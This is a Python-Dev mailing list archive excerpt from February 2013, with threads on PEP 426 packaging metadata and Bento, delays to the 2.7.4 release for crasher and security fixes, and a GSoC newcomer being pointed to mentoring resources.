> Looks like we agree that a basic tool able to bootstrap the packaging
> story is needed :)

Agreed. Just because distutils can't easily/reliably build things that are
better built with SCons/WAF/tup/whatever, doesn't mean that we shouldn't have
the ability to build pure-Python distributions and distributions including C
libs and extensions, with the ability to extend easily by third-party tools. It
just needs to be done in a way which is easy to build on, so the included
battery stays small and simple. Easier said than done, I know :-)

Regards,

Vinay Sajip


From vinay_sajip at yahoo.co.uk  Sun Feb  3 23:34:37 2013
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: Sun, 3 Feb 2013 22:34:37 +0000 (UTC)
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
	<loom.20130203T225356-618@post.gmane.org>
	<CAD5NRCFAaZOodXWd1z_docGes_HZzWtDUC=QAnp3LVULQqSanA@mail.gmail.com>
Message-ID: <loom.20130203T232557-158@post.gmane.org>

Simon Cross <hodgestar+pythondev <at> gmail.com> writes:

> For the record, all the reasons listed at [1] appear trivial.

In Bento's author's own words - "Weak documentation", "Mediocre code quality",
"at a lower level, a lot of code leaves to be desired" may be trivial if David
is just being self-deprecating, but what if he isn't? Or perhaps that part of
the page is out of date, and needs updating? I can certainly agree with the
"Weak documentation" part of the assessment, but this makes it hard to assess
the package as a whole. Note that I'm not sniping - writing good documentation
is hard work.

Regards,

Vinay Sajip




From dholth at gmail.com  Sun Feb  3 23:48:47 2013
From: dholth at gmail.com (Daniel Holth)
Date: Sun, 3 Feb 2013 17:48:47 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <loom.20130203T232557-158@post.gmane.org>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
	<loom.20130203T225356-618@post.gmane.org>
	<CAD5NRCFAaZOodXWd1z_docGes_HZzWtDUC=QAnp3LVULQqSanA@mail.gmail.com>
	<loom.20130203T232557-158@post.gmane.org>
Message-ID: <CAG8k2+5V19gmgpvTffHB5WMTiKHG4AMFTcQVEbmxGD5tO7TDYg@mail.gmail.com>

He is being self deprecating. Its also true that python dev can't recommend
bento wholesale. That is fine with me.
On Feb 3, 2013 5:36 PM, "Vinay Sajip" <vinay_sajip at yahoo.co.uk> wrote:

> Simon Cross <hodgestar+pythondev <at> gmail.com> writes:
>
> > For the record, all the reasons listed at [1] appear trivial.
>
> In Bento's author's own words - "Weak documentation", "Mediocre code
> quality",
> "at a lower level, a lot of code leaves to be desired" may be trivial if
> David
> is just being self-deprecating, but what if he isn't? Or perhaps that part
> of
> the page is out of date, and needs updating? I can certainly agree with the
> "Weak documentation" part of the assessment, but this makes it hard to
> assess
> the package as a whole. Note that I'm not sniping - writing good
> documentation
> is hard work.
>
> Regards,
>
> Vinay Sajip
>
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/dholth%40gmail.com
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/cf5c3448/attachment.html>

From nadeem.vawda at gmail.com  Mon Feb  4 00:08:28 2013
From: nadeem.vawda at gmail.com (Nadeem Vawda)
Date: Mon, 4 Feb 2013 00:08:28 +0100
Subject: [Python-Dev] 2.7.4
In-Reply-To: <CAPZV6o_oBsrUKmRe3T=mdXPwMUNYCM0B3WvZPBpXmeZB8y5MsA@mail.gmail.com>
References: <CAPZV6o8MsW1DTFf7r3Qvmw-to_AA4wob8_4gc_va7WjDVGevqQ@mail.gmail.com>
	<kelm6l$dd5$1@ger.gmane.org>
	<CAPZV6o_oBsrUKmRe3T=mdXPwMUNYCM0B3WvZPBpXmeZB8y5MsA@mail.gmail.com>
Message-ID: <CANF4RMk5-Wfhzc7bRxZsbpw4h5w3397VqTE_qrrCOd_VU_gPcg@mail.gmail.com>

Just to clarify, the release branch hasn't been created yet, correct?

- Nadeem


On Sun, Feb 3, 2013 at 3:38 PM, Benjamin Peterson <benjamin at python.org>wrote:

> 2013/2/3 Serhiy Storchaka <storchaka at gmail.com>:
> > There are crashers for which patches were proposed but do not reviewed
> yet:
> >
> > Issue #6083: Reference counting bug in PyArg_ParseTuple and
> > PyArg_ParseTupleAndKeywords.
> >
> > Issue #7358: cStringIO not 64-bit safe.
> >
> > Issue #16137: Using time.asctime() with an array with negative tm_hour
> > causes Python Crash.
> >
> > Issue #16686: audioop overflow issues.
> >
> > #8865 is reviewed but not committed.
>
> Thanks. In the future, this should be raised to "release blocker"
> priority to get my attention.
>
> --
> Regards,
> Benjamin
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/nadeem.vawda%40gmail.com
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130204/9d18378b/attachment.html>

From cournape at gmail.com  Mon Feb  4 00:20:05 2013
From: cournape at gmail.com (David Cournapeau)
Date: Sun, 3 Feb 2013 23:20:05 +0000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <loom.20130203T232557-158@post.gmane.org>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
	<loom.20130203T225356-618@post.gmane.org>
	<CAD5NRCFAaZOodXWd1z_docGes_HZzWtDUC=QAnp3LVULQqSanA@mail.gmail.com>
	<loom.20130203T232557-158@post.gmane.org>
Message-ID: <CAGY4rcU=Ubpsy-nrPXG-K1zrw8ybijmB11gPb6SStoZdgm2t5w@mail.gmail.com>

On Sun, Feb 3, 2013 at 10:34 PM, Vinay Sajip <vinay_sajip at yahoo.co.uk> wrote:
> Simon Cross <hodgestar+pythondev <at> gmail.com> writes:
>
>> For the record, all the reasons listed at [1] appear trivial.
>
> In Bento's author's own words - "Weak documentation", "Mediocre code quality",
> "at a lower level, a lot of code leaves to be desired" may be trivial if David
> is just being self-deprecating, but what if he isn't? Or perhaps that part of
> the page is out of date, and needs updating? I can certainly agree with the
> "Weak documentation" part of the assessment, but this makes it hard to assess
> the package as a whole. Note that I'm not sniping - writing good documentation
> is hard work.

You are putting the words out of the context in which those were
written: it is stated that the focus is on the general architecture
and low-coupling which are the main issues I saw with distutils. Bento
is designed to use multiple build backends (it can use distutils to
build C extensions, or waf, the latter being how numpy/scipy is being
built with bento).

FWIW, I am not in favor of having bento blessed (or any other tool for
that matter). The fundamental mistake of the previous attempts at
packaging has been to formalize too early, or impose de-facto
standards without much specification. That's why wheel and similar
efforts are the way forward: they tackle a narrow but well defined
sub-problem of packaging. Thus, they can be reused by other libraries
to build higher abstractions. They are also less prone to the
'fatigue' that often arise in packaging efforts.

David

From brett at python.org  Mon Feb  4 00:36:56 2013
From: brett at python.org (Brett Cannon)
Date: Sun, 3 Feb 2013 18:36:56 -0500
Subject: [Python-Dev] 2.7.4
In-Reply-To: <CANF4RMk5-Wfhzc7bRxZsbpw4h5w3397VqTE_qrrCOd_VU_gPcg@mail.gmail.com>
References: <CAPZV6o8MsW1DTFf7r3Qvmw-to_AA4wob8_4gc_va7WjDVGevqQ@mail.gmail.com>
	<kelm6l$dd5$1@ger.gmane.org>
	<CAPZV6o_oBsrUKmRe3T=mdXPwMUNYCM0B3WvZPBpXmeZB8y5MsA@mail.gmail.com>
	<CANF4RMk5-Wfhzc7bRxZsbpw4h5w3397VqTE_qrrCOd_VU_gPcg@mail.gmail.com>
Message-ID: <CAP1=2W6U3-iKpEqJ0mjjNoZ=uJPHeUBJXp+_sTZ4KR4qoP8GZg@mail.gmail.com>

On Sun, Feb 3, 2013 at 6:08 PM, Nadeem Vawda <nadeem.vawda at gmail.com> wrote:

> Just to clarify, the release branch hasn't been created yet, correct?
>
>
It's by tag and no: http://hg.python.org/cpython/tags

-Brett


> - Nadeem
>
>
> On Sun, Feb 3, 2013 at 3:38 PM, Benjamin Peterson <benjamin at python.org>wrote:
>
>> 2013/2/3 Serhiy Storchaka <storchaka at gmail.com>:
>> > There are crashers for which patches were proposed but do not reviewed
>> yet:
>> >
>> > Issue #6083: Reference counting bug in PyArg_ParseTuple and
>> > PyArg_ParseTupleAndKeywords.
>> >
>> > Issue #7358: cStringIO not 64-bit safe.
>> >
>> > Issue #16137: Using time.asctime() with an array with negative tm_hour
>> > causes Python Crash.
>> >
>> > Issue #16686: audioop overflow issues.
>> >
>> > #8865 is reviewed but not committed.
>>
>> Thanks. In the future, this should be raised to "release blocker"
>> priority to get my attention.
>>
>> --
>> Regards,
>> Benjamin
>> _______________________________________________
>> Python-Dev mailing list
>> Python-Dev at python.org
>> http://mail.python.org/mailman/listinfo/python-dev
>> Unsubscribe:
>> http://mail.python.org/mailman/options/python-dev/nadeem.vawda%40gmail.com
>>
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/ff63a721/attachment-0001.html>

From ncoghlan at gmail.com  Mon Feb  4 00:55:22 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 4 Feb 2013 09:55:22 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAGY4rcU=Ubpsy-nrPXG-K1zrw8ybijmB11gPb6SStoZdgm2t5w@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
	<loom.20130203T225356-618@post.gmane.org>
	<CAD5NRCFAaZOodXWd1z_docGes_HZzWtDUC=QAnp3LVULQqSanA@mail.gmail.com>
	<loom.20130203T232557-158@post.gmane.org>
	<CAGY4rcU=Ubpsy-nrPXG-K1zrw8ybijmB11gPb6SStoZdgm2t5w@mail.gmail.com>
Message-ID: <CADiSq7cjkeQPXahzT0FDtUPv9ngtfZPqbd3rnODmj_OkZt1Wzg@mail.gmail.com>

On 4 Feb 2013 09:22, "David Cournapeau" <cournape at gmail.com> wrote:
>
> On Sun, Feb 3, 2013 at 10:34 PM, Vinay Sajip <vinay_sajip at yahoo.co.uk>
wrote:
> > Simon Cross <hodgestar+pythondev <at> gmail.com> writes:
> >
> >> For the record, all the reasons listed at [1] appear trivial.
> >
> > In Bento's author's own words - "Weak documentation", "Mediocre code
quality",
> > "at a lower level, a lot of code leaves to be desired" may be trivial
if David
> > is just being self-deprecating, but what if he isn't? Or perhaps that
part of
> > the page is out of date, and needs updating? I can certainly agree with
the
> > "Weak documentation" part of the assessment, but this makes it hard to
assess
> > the package as a whole. Note that I'm not sniping - writing good
documentation
> > is hard work.
>
> You are putting the words out of the context in which those were
> written: it is stated that the focus is on the general architecture
> and low-coupling which are the main issues I saw with distutils. Bento
> is designed to use multiple build backends (it can use distutils to
> build C extensions, or waf, the latter being how numpy/scipy is being
> built with bento).
>
> FWIW, I am not in favor of having bento blessed (or any other tool for
> that matter). The fundamental mistake of the previous attempts at
> packaging has been to formalize too early, or impose de-facto
> standards without much specification. That's why wheel and similar
> efforts are the way forward: they tackle a narrow but well defined
> sub-problem of packaging. Thus, they can be reused by other libraries
> to build higher abstractions. They are also less prone to the
> 'fatigue' that often arise in packaging efforts.

Another couple of key pieces are "Setup-Requires-Dist" and the extension
mechanism in PEP 426 - they're intended to make it easier to communicate
the use of third party tools for building, packaging and installation, as
well as making it easier to provide additional metadata for the benefit of
those tools.

Cheers,
Nick.

>
> David
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
http://mail.python.org/mailman/options/python-dev/ncoghlan%40gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130204/57630bb4/attachment.html>

From benjamin at python.org  Mon Feb  4 01:11:36 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Sun, 3 Feb 2013 19:11:36 -0500
Subject: [Python-Dev] update on 2.7.4
Message-ID: <CAPZV6o8yb4P9_5PvMg5sBCDFe9dMis1TU9nL+2o3ZNFOJ654JQ@mail.gmail.com>

As you may have noticed, no 2.7.4 rc has been created yet. Yesterday,
the buildbots were all red, and release blocker issues had to be dealt
with. Today, I was not as availabIe and people were fixing
important-looking crashers. In general, there seems to have been a lot
more last-minute scrambling around than usual for a bugfix release.

I'm afraid I'm still going to have to delay longer to see if we can
get a few security patches in. It could be next week.

Benjamin

From greg at krypto.org  Mon Feb  4 02:50:13 2013
From: greg at krypto.org (Gregory P. Smith)
Date: Sun, 3 Feb 2013 17:50:13 -0800
Subject: [Python-Dev] Interested in GSoC 2013
In-Reply-To: <CAPK8b80yYpD9pPcO0vFRB8JkM9e3WT8ZrHJhVQxQcX77TyG2sQ@mail.gmail.com>
References: <CAPK8b80yYpD9pPcO0vFRB8JkM9e3WT8ZrHJhVQxQcX77TyG2sQ@mail.gmail.com>
Message-ID: <CAGE7PNLiv6ib=5JkzYyEewnqTWuNJFLMMWR9gOZ_WtJHPp+ewQ@mail.gmail.com>

First, welcome to Python.

For people just starting out contributing we have setup a core-mentorship
mailing list ideally suited for this type of question.
http://mail.python.org/mailman/listinfo/core-mentorship

general tip: look for open issues marked with the 'easy' on bugs.python.org.


On Sun, Feb 3, 2013 at 12:51 PM, Jainit Purohit <mjainit at gmail.com> wrote:

> Hi,
>
>
>                      I'm Jainit and I'm planning to apply for GSoC 2013
> for the PSF. I was also part of GSoC 2012 in interface ecology lab, Texas
> A&M university. I just gone though Python developer's guide and how to
> become core contributor document. And I just compiled CPython on my
> machine. Since I'm new to this community, Can anyone assign me some
> task/issues/bug to work on to get the better idea of how things works. I
> would also like to know if any of you have any ideas which can be
> implemented this summer.
>
>
> Thanks!,
>
> Jainit
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/greg%40krypto.org
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/83fdb2c1/attachment.html>

From vinay_sajip at yahoo.co.uk  Mon Feb  4 03:01:02 2013
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: Mon, 4 Feb 2013 02:01:02 +0000 (UTC)
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
	<loom.20130203T225356-618@post.gmane.org>
	<CAD5NRCFAaZOodXWd1z_docGes_HZzWtDUC=QAnp3LVULQqSanA@mail.gmail.com>
	<loom.20130203T232557-158@post.gmane.org>
	<CAGY4rcU=Ubpsy-nrPXG-K1zrw8ybijmB11gPb6SStoZdgm2t5w@mail.gmail.com>
Message-ID: <loom.20130204T025938-305@post.gmane.org>

David Cournapeau <cournape <at> gmail.com> writes:

> You are putting the words out of the context in which those were
> written: it is stated that the focus is on the general architecture

OK, no offence was meant. Thanks for the clarification.

Regards,

Vinay Sajip



From eliben at gmail.com  Mon Feb  4 05:54:31 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Sun, 3 Feb 2013 20:54:31 -0800
Subject: [Python-Dev] update on 2.7.4
In-Reply-To: <CAPZV6o8yb4P9_5PvMg5sBCDFe9dMis1TU9nL+2o3ZNFOJ654JQ@mail.gmail.com>
References: <CAPZV6o8yb4P9_5PvMg5sBCDFe9dMis1TU9nL+2o3ZNFOJ654JQ@mail.gmail.com>
Message-ID: <CAF-Rda-9xUXPx3wSC9w=q1EtkmG0HeR0kpFgK70oQ-mA6rBhjw@mail.gmail.com>

On Sun, Feb 3, 2013 at 4:11 PM, Benjamin Peterson <benjamin at python.org>wrote:

> As you may have noticed, no 2.7.4 rc has been created yet. Yesterday,
> the buildbots were all red, and release blocker issues had to be dealt
> with. Today, I was not as availabIe and people were fixing
> important-looking crashers. In general, there seems to have been a lot
> more last-minute scrambling around than usual for a bugfix release.
>
> I'm afraid I'm still going to have to delay longer to see if we can
> get a few security patches in. It could be next week.
>

Thanks for the update, Benjamin. Given the recent discussions and events, I
would feel even safer if more than a week passed. I don't see how waiting a
bit longer is going to hurt anyone. At this point in 2.7's life, stability
is perhaps the most important thing.

Perhaps this is the right time to specifically ask all contributors to
consider what may be blocking such a release - any bugs you recall seeing
that appear important and must be fixed?

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/e9733c9c/attachment.html>

From solipsis at pitrou.net  Mon Feb  4 10:27:47 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 4 Feb 2013 10:27:47 +0100
Subject: [Python-Dev] update on 2.7.4
References: <CAPZV6o8yb4P9_5PvMg5sBCDFe9dMis1TU9nL+2o3ZNFOJ654JQ@mail.gmail.com>
Message-ID: <20130204102747.53aa84f1@pitrou.net>

Le Sun, 3 Feb 2013 19:11:36 -0500,
Benjamin Peterson <benjamin at python.org> a ?crit :
> As you may have noticed, no 2.7.4 rc has been created yet. Yesterday,
> the buildbots were all red, and release blocker issues had to be dealt
> with. Today, I was not as availabIe and people were fixing
> important-looking crashers. In general, there seems to have been a lot
> more last-minute scrambling around than usual for a bugfix release.

I don't know for others, but I had forgotten you were going to do a
release. Sorry.

Regards

Antoine.



From cournape at gmail.com  Mon Feb  4 10:42:38 2013
From: cournape at gmail.com (David Cournapeau)
Date: Mon, 4 Feb 2013 09:42:38 +0000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <loom.20130204T025938-305@post.gmane.org>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
	<loom.20130203T225356-618@post.gmane.org>
	<CAD5NRCFAaZOodXWd1z_docGes_HZzWtDUC=QAnp3LVULQqSanA@mail.gmail.com>
	<loom.20130203T232557-158@post.gmane.org>
	<CAGY4rcU=Ubpsy-nrPXG-K1zrw8ybijmB11gPb6SStoZdgm2t5w@mail.gmail.com>
	<loom.20130204T025938-305@post.gmane.org>
Message-ID: <CAGY4rcVYK_xVV4Ryy3cdhitp76AemOcqwrhqOvDr-VOd5jB9pg@mail.gmail.com>

On Mon, Feb 4, 2013 at 2:01 AM, Vinay Sajip <vinay_sajip at yahoo.co.uk> wrote:
> David Cournapeau <cournape <at> gmail.com> writes:
>
>> You are putting the words out of the context in which those were
>> written: it is stated that the focus is on the general architecture
>
> OK, no offence was meant. Thanks for the clarification.

No worries, none taken :)

David

From g.brandl at gmx.net  Mon Feb  4 15:51:21 2013
From: g.brandl at gmx.net (Georg Brandl)
Date: Mon, 04 Feb 2013 15:51:21 +0100
Subject: [Python-Dev] update on 2.7.4
In-Reply-To: <CAPZV6o8yb4P9_5PvMg5sBCDFe9dMis1TU9nL+2o3ZNFOJ654JQ@mail.gmail.com>
References: <CAPZV6o8yb4P9_5PvMg5sBCDFe9dMis1TU9nL+2o3ZNFOJ654JQ@mail.gmail.com>
Message-ID: <keohqj$4ui$1@ger.gmane.org>

Am 04.02.2013 01:11, schrieb Benjamin Peterson:
> As you may have noticed, no 2.7.4 rc has been created yet. Yesterday,
> the buildbots were all red, and release blocker issues had to be dealt
> with. Today, I was not as availabIe and people were fixing
> important-looking crashers. In general, there seems to have been a lot
> more last-minute scrambling around than usual for a bugfix release.
> 
> I'm afraid I'm still going to have to delay longer to see if we can
> get a few security patches in. It could be next week.

FWIW, the same goes for 3.2.4.

Georg


From brett at python.org  Mon Feb  4 16:48:07 2013
From: brett at python.org (Brett Cannon)
Date: Mon, 4 Feb 2013 10:48:07 -0500
Subject: [Python-Dev] Interested in GSoC 2013
In-Reply-To: <CAGE7PNLiv6ib=5JkzYyEewnqTWuNJFLMMWR9gOZ_WtJHPp+ewQ@mail.gmail.com>
References: <CAPK8b80yYpD9pPcO0vFRB8JkM9e3WT8ZrHJhVQxQcX77TyG2sQ@mail.gmail.com>
	<CAGE7PNLiv6ib=5JkzYyEewnqTWuNJFLMMWR9gOZ_WtJHPp+ewQ@mail.gmail.com>
Message-ID: <CAP1=2W5n-9MageRVDv9JFJya1hzszzHyNTkPeMVdFwcAibazzQ@mail.gmail.com>

On Sun, Feb 3, 2013 at 8:50 PM, Gregory P. Smith <greg at krypto.org> wrote:

> First, welcome to Python.
>
> For people just starting out contributing we have setup a core-mentorship
> mailing list ideally suited for this type of question.
> http://mail.python.org/mailman/listinfo/core-mentorship
>
> general tip: look for open issues marked with the 'easy' on
> bugs.python.org.
>

Actually there is an entire section to the devguide dedicated to helping
you find something to do: http://docs.python.org/devguide/#contributing.

Handling "easy" issues are part of the advanced section. =)

-Brett


>
>
> On Sun, Feb 3, 2013 at 12:51 PM, Jainit Purohit <mjainit at gmail.com> wrote:
>
>> Hi,
>>
>>
>>                      I'm Jainit and I'm planning to apply for GSoC 2013
>> for the PSF. I was also part of GSoC 2012 in interface ecology lab, Texas
>> A&M university. I just gone though Python developer's guide and how to
>> become core contributor document. And I just compiled CPython on my
>> machine. Since I'm new to this community, Can anyone assign me some
>> task/issues/bug to work on to get the better idea of how things works. I
>> would also like to know if any of you have any ideas which can be
>> implemented this summer.
>>
>>
>> Thanks!,
>>
>> Jainit
>>
>> _______________________________________________
>> Python-Dev mailing list
>> Python-Dev at python.org
>> http://mail.python.org/mailman/listinfo/python-dev
>> Unsubscribe:
>> http://mail.python.org/mailman/options/python-dev/greg%40krypto.org
>>
>>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130204/3ee333f4/attachment.html>

From benjamin at python.org  Mon Feb  4 17:23:49 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Mon, 4 Feb 2013 11:23:49 -0500
Subject: [Python-Dev] update on 2.7.4
In-Reply-To: <CAF-Rda-9xUXPx3wSC9w=q1EtkmG0HeR0kpFgK70oQ-mA6rBhjw@mail.gmail.com>
References: <CAPZV6o8yb4P9_5PvMg5sBCDFe9dMis1TU9nL+2o3ZNFOJ654JQ@mail.gmail.com>
	<CAF-Rda-9xUXPx3wSC9w=q1EtkmG0HeR0kpFgK70oQ-mA6rBhjw@mail.gmail.com>
Message-ID: <CAPZV6o-fz4Eyp4Z2aP62BEFufVwNNk04N0agp+Vg9QfucGY2qQ@mail.gmail.com>

2013/2/3 Eli Bendersky <eliben at gmail.com>:
>
> On Sun, Feb 3, 2013 at 4:11 PM, Benjamin Peterson <benjamin at python.org>
> wrote:
>>
>> As you may have noticed, no 2.7.4 rc has been created yet. Yesterday,
>> the buildbots were all red, and release blocker issues had to be dealt
>> with. Today, I was not as availabIe and people were fixing
>> important-looking crashers. In general, there seems to have been a lot
>> more last-minute scrambling around than usual for a bugfix release.
>>
>> I'm afraid I'm still going to have to delay longer to see if we can
>> get a few security patches in. It could be next week.
>
>
> Thanks for the update, Benjamin. Given the recent discussions and events, I
> would feel even safer if more than a week passed. I don't see how waiting a
> bit longer is going to hurt anyone. At this point in 2.7's life, stability
> is perhaps the most important thing.
>
> Perhaps this is the right time to specifically ask all contributors to
> consider what may be blocking such a release - any bugs you recall seeing
> that appear important and must be fixed?

Friendly reminder: Please set such bugs to the "release blocker"
priority. Otherwise, I will not see them.



-- 
Regards,
Benjamin

From mal at egenix.com  Mon Feb  4 19:30:03 2013
From: mal at egenix.com (M.-A. Lemburg)
Date: Mon, 04 Feb 2013 19:30:03 +0100
Subject: [Python-Dev] BDFL delegation for PEP 426 + distutils freeze
In-Reply-To: <510EAD73.7090406@netwok.org>
